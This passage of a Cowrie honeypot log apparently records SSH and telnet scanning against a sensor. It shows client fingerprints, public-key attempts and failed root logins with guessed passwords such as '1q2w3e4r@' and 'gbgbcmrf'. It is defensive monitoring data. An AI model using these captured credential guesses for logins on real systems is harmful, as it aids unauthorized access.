etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:31:58.687278Z","src_ip":"171.244.201.80","session":"0f5c45ffe8e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r@","message":"login attempt [root/1q2w3e4r@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:31:59.727499Z","src_ip":"171.244.201.80","session":"0f5c45ffe8e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:00.986762Z","src_ip":"171.244.201.80","session":"0f5c45ffe8e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":36644,"dst_ip":"159.203.135.109","dst_port":22,"session":"4162079c75f5","protocol":"ssh","message":"New connection: 103.122.221.179:36644 (159.203.135.109:22) [session: 4162079c75f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:01.397707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:01.403119Z","src_ip":"103.122.221.179","session":"4162079c75f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:01.660210Z","src_ip":"103.122.221.179","session":"4162079c75f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43326,"dst_ip":"10.17.0.5","dst_port":23,"session":"a52a3ccf3dd7","protocol":"telnet","message":"New connection: 152.42.224.71:43326 (10.17.0.5:23) [session: a52a3ccf3dd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:01.871700Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"gbgbcmrf","message":"login attempt [root/gbgbcmrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:02.429983Z","src_ip":"103.122.221.179","session":"4162079c75f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.095258474349976,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:03.625966Z","src_ip":"152.42.224.71","session":"fff6158a3805","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:03.690771Z","src_ip":"103.122.221.179","session":"4162079c75f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33348,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7b42798ae43","protocol":"telnet","message":"New connection: 152.42.224.71:33348 (10.17.0.5:23) [session: d7b42798ae43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:06.539708Z"}
{"eventid":"cowrie.session.closed","duration":41.96105980873108,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:08.172062Z","src_ip":"152.42.224.71","session":"09c29662ae61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33356,"dst_ip":"10.17.0.5","dst_port":23,"session":"18bc8449b919","protocol":"telnet","message":"New connection: 152.42.224.71:33356 (10.17.0.5:23) [session: 18bc8449b919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:09.514933Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55242,"dst_ip":"10.17.0.5","dst_port":23,"session":"2136db389fb9","protocol":"telnet","message":"New connection: 152.42.224.71:55242 (10.17.0.5:23) [session: 2136db389fb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:17.386062Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55244,"dst_ip":"10.17.0.5","dst_port":23,"session":"abd67a26ad83","protocol":"telnet","message":"New connection: 152.42.224.71:55244 (10.17.0.5:23) [session: abd67a26ad83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:21.500211Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55252,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b82c06beed9","protocol":"telnet","message":"New connection: 152.42.224.71:55252 (10.17.0.5:23) [session: 6b82c06beed9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:23.251943Z"}
{"eventid":"cowrie.session.closed","duration":42.98800349235535,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:23.919017Z","src_ip":"152.42.224.71","session":"273f02beaa05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.202409505844116,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:31.464455Z","src_ip":"152.42.224.71","session":"d61d4395bed6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.237.92","src_port":43732,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fe7196ae6dc","protocol":"ssh","message":"New connection: 196.189.237.92:43732 (10.17.0.5:22) [session: 1fe7196ae6dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:33.100289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:33.104970Z","src_ip":"196.189.237.92","session":"1fe7196ae6dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:33.275208Z","src_ip":"196.189.237.92","session":"1fe7196ae6dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.67300510406494,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:33.544578Z","src_ip":"152.42.224.71","session":"a52a3ccf3dd7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"remote","message":"login attempt [root/remote] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:33.972334Z","src_ip":"196.189.237.92","session":"1fe7196ae6dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:35.141931Z","src_ip":"196.189.237.92","session":"1fe7196ae6dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"63.143.63.51","src_port":46710,"dst_ip":"10.17.0.5","dst_port":22,"session":"141dbc3dbb85","protocol":"ssh","message":"New connection: 63.143.63.51:46710 (10.17.0.5:22) [session: 141dbc3dbb85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:37.603918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:37.609065Z","src_ip":"63.143.63.51","session":"141dbc3dbb85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:37.634254Z","src_ip":"63.143.63.51","session":"141dbc3dbb85","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:32:5c:3a:ed:fc:cd:79:2c:e4:50:52:b4:d7:da:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDhRi5A6kIrQhJJDJrokHspGNUdtmrGmmB31NiqY0vspxIcjiYNBcCsEB+wZXLopzPBXjSsFEsU5lmfcMwuMu/fAqkrZ8PV+Oy8KLWm/Qo/+JquuNurg9MfGNOF0SxQdCXpGhv8RhgaZupTU8Qj0RUUADfxcHWiRdo9f9ufYOoYFZGOqcI8QC1TMhZZl4gfsc7E/KWaa6i0IpdHt586gVglRnYQpyGtM+jtdFCbxDryXKwsf3JvpafguL0csNps3qLY/Kaj6pFuThakGroBIngLPhQ//dMM6JlruXFshq2CfUBWp3QY/VzU7EEdLgk/bteEHv6ArXKYFZSvGxLb0zPOXjsSk3HBYqKpvlQrELjH2KTPDYU409N5sf+DaPA6wAl3eI6cmi2qgbQnEbO13unqMibbYHTZHmjMStfRFmhWslE/tmGBlu8ua0usUlpH5+wbJGIcvTwNcHHku0fSGB2KpMBLzzAHrwmnXY3m+vr4OcqVl0Hx/oim+DDtwWU7vI5QIeQulM4vx6Cs/bgOJf3MOplvHSzIZZWh1fKQ7lPi3/AWY2oGiboa7CELpulJSVTVCx1GXrIefNRktLPu5bQ4GbbyZlZmxL9EYUq/YbdmlYmn61HMbAE24wXOZLfpVR2NbQ1mXWC9gZ+f0jcHQ47aFJXjWe6OX1aUjAqtVYfmjw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:32:5c:3a:ed:fc:cd:79:2c:e4:50:52:b4:d7:da:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:37.731781Z","src_ip":"63.143.63.51","session":"141dbc3dbb85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:32:5c:3a:ed:fc:cd:79:2c:e4:50:52:b4:d7:da:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDhRi5A6kIrQhJJDJrokHspGNUdtmrGmmB31NiqY0vspxIcjiYNBcCsEB+wZXLopzPBXjSsFEsU5lmfcMwuMu/fAqkrZ8PV+Oy8KLWm/Qo/+JquuNurg9MfGNOF0SxQdCXpGhv8RhgaZupTU8Qj0RUUADfxcHWiRdo9f9ufYOoYFZGOqcI8QC1TMhZZl4gfsc7E/KWaa6i0IpdHt586gVglRnYQpyGtM+jtdFCbxDryXKwsf3JvpafguL0csNps3qLY/Kaj6pFuThakGroBIngLPhQ//dMM6JlruXFshq2CfUBWp3QY/VzU7EEdLgk/bteEHv6ArXKYFZSvGxLb0zPOXjsSk3HBYqKpvlQrELjH2KTPDYU409N5sf+DaPA6wAl3eI6cmi2qgbQnEbO13unqMibbYHTZHmjMStfRFmhWslE/tmGBlu8ua0usUlpH5+wbJGIcvTwNcHHku0fSGB2KpMBLzzAHrwmnXY3m+vr4OcqVl0Hx/oim+DDtwWU7vI5QIeQulM4vx6Cs/bgOJf3MOplvHSzIZZWh1fKQ7lPi3/AWY2oGiboa7CELpulJSVTVCx1GXrIefNRktLPu5bQ4GbbyZlZmxL9EYUq/YbdmlYmn61HMbAE24wXOZLfpVR2NbQ1mXWC9gZ+f0jcHQ47aFJXjWe6OX1aUjAqtVYfmjw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:37.735521Z","src_ip":"63.143.63.51","session":"141dbc3dbb85","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a2:e3:ac:46:8b:80:cc:cc:10:e2:ff:7d:ee:36:0c:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCkSAThnvPWAveu1oD7N1yZzWnORGW/vyrmS+ZLgJOi6qHcm8bPCgtLDLh377YH72Jc82LyrQ8Y7adF6myq4oQuS7fSGkWTIiwCPDRq3y1iuIBBOf5CuWZb1Tqe0qSKAiVQSFvG76GXUvtPDHTKcWA5KLUxQwjTURtnUgTGYwEDUFWuv91EUEhzCVMPnr5uTtTvZ4Q/JSqcSGFUer3wdDOw9+sUEjtEeb6sDmlIYgezStlc6ZhH8tKL0jkOQi8KgoORsBr/BJ03xu1LP9/nF250u4KKjbOnw0vSjysf9yuOT+D+SReKhuNkf9Nsf+fVSRx+nNKZN1jHP3v6cpRvK8vdyvYaJVost74l/xfCB89g+yN6Y21IQaOEiIk7aL1kcSPtWlUewc3mm3KA6/Jouik6JOzhB1uVpLxyLuOhh2hdO/0qR1ijKfjSBZ3UMb91pFRZWQ7XqKHGf5f5/dZF2P2RGu0peluWIkfPlQrRMPPNVV6uBTOdDf9eG4M8rKT4ZcM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a2:e3:ac:46:8b:80:cc:cc:10:e2:ff:7d:ee:36:0c:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:37.762809Z","src_ip":"63.143.63.51","session":"141dbc3dbb85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a2:e3:ac:46:8b:80:cc:cc:10:e2:ff:7d:ee:36:0c:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCkSAThnvPWAveu1oD7N1yZzWnORGW/vyrmS+ZLgJOi6qHcm8bPCgtLDLh377YH72Jc82LyrQ8Y7adF6myq4oQuS7fSGkWTIiwCPDRq3y1iuIBBOf5CuWZb1Tqe0qSKAiVQSFvG76GXUvtPDHTKcWA5KLUxQwjTURtnUgTGYwEDUFWuv91EUEhzCVMPnr5uTtTvZ4Q/JSqcSGFUer3wdDOw9+sUEjtEeb6sDmlIYgezStlc6ZhH8tKL0jkOQi8KgoORsBr/BJ03xu1LP9/nF250u4KKjbOnw0vSjysf9yuOT+D+SReKhuNkf9Nsf+fVSRx+nNKZN1jHP3v6cpRvK8vdyvYaJVost74l/xfCB89g+yN6Y21IQaOEiIk7aL1kcSPtWlUewc3mm3KA6/Jouik6JOzhB1uVpLxyLuOhh2hdO/0qR1ijKfjSBZ3UMb91pFRZWQ7XqKHGf5f5/dZF2P2RGu0peluWIkfPlQrRMPPNVV6uBTOdDf9eG4M8rKT4ZcM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:37.766739Z","src_ip":"63.143.63.51","session":"141dbc3dbb85","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ae:7a:b9:f6:c1:b6:a7:2b:b1:6a:3f:19:0f:f7:fa:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDSjBDVuLXeT4wbKK1q7h5LenQtggWodLixIBIdTaqrf7YUd0Y0Fmk+Fa2gN7anPddCEw4II3gaTZq1l+SmdgqWxvJZJrRZDQf9coo0vZxxCFYFCHIgZOSVAkc8WMsyqx6F7XdzmUKvzPWOvY/y4QynoQLUrpjmJaK5CvO63wDST+rqgdx/75IgzrBwKsXfnUwzHkd0MhiBu2JvhF+H8oZPHNwJvLcCWF8eAsGSEmzFg0k5xkQLZZ2i75VfNzxVSelKMSog6Uchw86O26CLmz2Q4EWs5RrP/FPmMG+6vuH/vdNkoNd5lcR8FeFn2XuOIjEoh7i8OPt+Kcdo8p1dMYkMKy87VSGyYpojHe7+sOTxZpkqirsUIfNoOfgy0URcKchoWLPq2gwnUtorAmPgdJBRhtYwI8SkO3GM7ZnzQryLN14EkhG1S5hjs4yeZz1RjBFw1vr6ErZQdImW2RHiKExIIPr3nEFiZnQ3KerFOMeP+wvIVqptIGt/LA9wNYRbTaOd7/25oWFwA/jNoWssIbSMeNSl5F2uekd44L+gf2OKQ1rcmD3s9ShDbuwjcFlMJdSnmSEnXmAEPiLoCtNrfmx2xCKtlIGy58i2ng6erJ1ashW+JLRL1DNhDSMhKdF8efvIEqYtRoKM2GShieDTAk5w03BmElnTvw/j/14a/EB/DQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ae:7a:b9:f6:c1:b6:a7:2b:b1:6a:3f:19:0f:f7:fa:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:37.791508Z","src_ip":"63.143.63.51","session":"141dbc3dbb85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ae:7a:b9:f6:c1:b6:a7:2b:b1:6a:3f:19:0f:f7:fa:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDSjBDVuLXeT4wbKK1q7h5LenQtggWodLixIBIdTaqrf7YUd0Y0Fmk+Fa2gN7anPddCEw4II3gaTZq1l+SmdgqWxvJZJrRZDQf9coo0vZxxCFYFCHIgZOSVAkc8WMsyqx6F7XdzmUKvzPWOvY/y4QynoQLUrpjmJaK5CvO63wDST+rqgdx/75IgzrBwKsXfnUwzHkd0MhiBu2JvhF+H8oZPHNwJvLcCWF8eAsGSEmzFg0k5xkQLZZ2i75VfNzxVSelKMSog6Uchw86O26CLmz2Q4EWs5RrP/FPmMG+6vuH/vdNkoNd5lcR8FeFn2XuOIjEoh7i8OPt+Kcdo8p1dMYkMKy87VSGyYpojHe7+sOTxZpkqirsUIfNoOfgy0URcKchoWLPq2gwnUtorAmPgdJBRhtYwI8SkO3GM7ZnzQryLN14EkhG1S5hjs4yeZz1RjBFw1vr6ErZQdImW2RHiKExIIPr3nEFiZnQ3KerFOMeP+wvIVqptIGt/LA9wNYRbTaOd7/25oWFwA/jNoWssIbSMeNSl5F2uekd44L+gf2OKQ1rcmD3s9ShDbuwjcFlMJdSnmSEnXmAEPiLoCtNrfmx2xCKtlIGy58i2ng6erJ1ashW+JLRL1DNhDSMhKdF8efvIEqYtRoKM2GShieDTAk5w03BmElnTvw/j/14a/EB/DQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:37.794999Z","src_ip":"63.143.63.51","session":"141dbc3dbb85","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3d:9b:20:c7:f7:98:fd:00:bc:4b:5c:a7:de:b6:0f:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDC9/JfXp6LuAm141EsvwUC3jNpJgeOcMLz6vomwvojd8GGM5qHBganawWN4Qc9TscUT/3lMStDn9UXhzvqX8BMbysVcoxT/BEA9JmhpOAN6QFH1CVmIo8Jy4jVMQvaWcsiuLHLNVz4DaHpTmwnwYAT8bUuqAjKYtzsJrerVEw5gWvZnSS1dQe9prgeMNaL0HJ0UxFasPEUXCuU/RHisVmWSJi8nOgcE5zEC/EXLyw6ULJeTp+NqwNgUZFwW4PgH4q7S6XIeCNfzhi7yylC6CU9DEO45XrFG3vb50M9kAp/hxtYQUk3ChS84hM79Mv4u872VGuCS8fGIu4x0jH5416N","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3d:9b:20:c7:f7:98:fd:00:bc:4b:5c:a7:de:b6:0f:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:37.818544Z","src_ip":"63.143.63.51","session":"141dbc3dbb85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3d:9b:20:c7:f7:98:fd:00:bc:4b:5c:a7:de:b6:0f:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDC9/JfXp6LuAm141EsvwUC3jNpJgeOcMLz6vomwvojd8GGM5qHBganawWN4Qc9TscUT/3lMStDn9UXhzvqX8BMbysVcoxT/BEA9JmhpOAN6QFH1CVmIo8Jy4jVMQvaWcsiuLHLNVz4DaHpTmwnwYAT8bUuqAjKYtzsJrerVEw5gWvZnSS1dQe9prgeMNaL0HJ0UxFasPEUXCuU/RHisVmWSJi8nOgcE5zEC/EXLyw6ULJeTp+NqwNgUZFwW4PgH4q7S6XIeCNfzhi7yylC6CU9DEO45XrFG3vb50M9kAp/hxtYQUk3ChS84hM79Mv4u872VGuCS8fGIu4x0jH5416N","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:37.822224Z","src_ip":"63.143.63.51","session":"141dbc3dbb85","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:2f:ac:9a:d6:cc:43:2d:9c:f3:1d:47:b5:7a:d1:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAIPwQL9oh4uWCf9kssx3YB4Uv1Zp2jdigMxoyHIB0biVDLR27EKPAuDrxG9ZYoXIF8FM3J4XZ2PYSOvp+9Z0wtkdPa8cOQ/kRszjt6jwxcjFwulQHiIUvjy0sN5uo3yw+PtruxzjB6F7JuVkGKBBY9+X65S3xnI8TKoIbOwqmQlrXpGIfhqubphO6HOVCWq1oNoQbbSGqkW+qLbHXezr570eV3kzco0jYt04CwxWjwiUj28fQSn6Jz9MAnOWMOkbEHYF084JCGDrPIBg7NCtsT2GgoNeSvnIzPGX438DebXk4yvLZC/cT8tS5dTf1P7APs0vl5X2g98iCcMV6/TeX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ac:2f:ac:9a:d6:cc:43:2d:9c:f3:1d:47:b5:7a:d1:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:37.845658Z","src_ip":"63.143.63.51","session":"141dbc3dbb85","protocol":"ssh"}
